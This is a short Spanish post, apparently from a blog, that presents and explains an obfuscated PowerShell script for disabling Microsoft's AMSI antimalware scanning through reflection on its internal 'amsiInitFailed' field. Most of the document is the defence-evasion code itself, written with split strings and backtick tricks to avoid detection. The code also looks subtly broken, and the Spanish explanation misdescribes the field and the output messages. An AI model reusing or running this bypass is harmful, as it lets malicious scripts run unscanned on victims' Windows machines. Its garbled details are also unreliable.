El script de PowerShell intenta deshabilitar el Servicio Interfaz de examen antimalware (AMSI) de Microsoft, una característica de seguridad de Windows que permite a las aplicaciones antivirus escanear scripts de PowerShell en busca de comportamientos maliciosos.
Primero, la función Is-AMSIDisabled
verifica si AMSI está deshabilitado, utilizando Get-variable
para obtener una variable específica y comprobando si el campo ‘amsi’ es verdadero.
Luego, el bloque try
intenta deshabilitar AMSI estableciendo el campo ‘amsi’ en verdadero. Si tiene éxito, imprime “AMSI Successfully Disabled”. Si AMSI ya está deshabilitado, imprime “AMSI”. Si hay un error, captura la excepción con catch e imprime “Error Disabling AMSI: $”, donde $ es la excepción capturada.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
# Author: Omar Salazar
# Verify if AMSI is disabled
function Is-AMSIDisabled {
return ((Get-variable (('1Q'+'2U') +'zX'))."A`ss`Embly"."GET`TY`Pe"(('Uti'+'l','A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em'))).g`etf`iElD"(('a'+'msi'),'d',('I'+'nitF'+'aile'))).GetValue($null) -eq $true
}
# AMSI Bypass
try {
Set-Item ('Va'+'rI'+'a'+'blE:1'+'q2'+'uZx') ([TYpE]("F"+'rE'))
(Get-variable (('1Q'+'2U') +'zX'))."A`ss`Embly"."GET`TY`Pe"(('Uti'+'l','A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em'))).g`etf`iElD"(('a'+'msi'),'d',('I'+'nitF'+'aile'))).(sE`T`VaLUE)(${n`ULl},${t`RuE})
if (Is-AMSIDisabled) {
Write-Output "AMSI"
} else {
Write-Output "AMSI Successfully Disabled"
}
} catch {
Write-Output "Error Disabling AMSI: $_"
}
|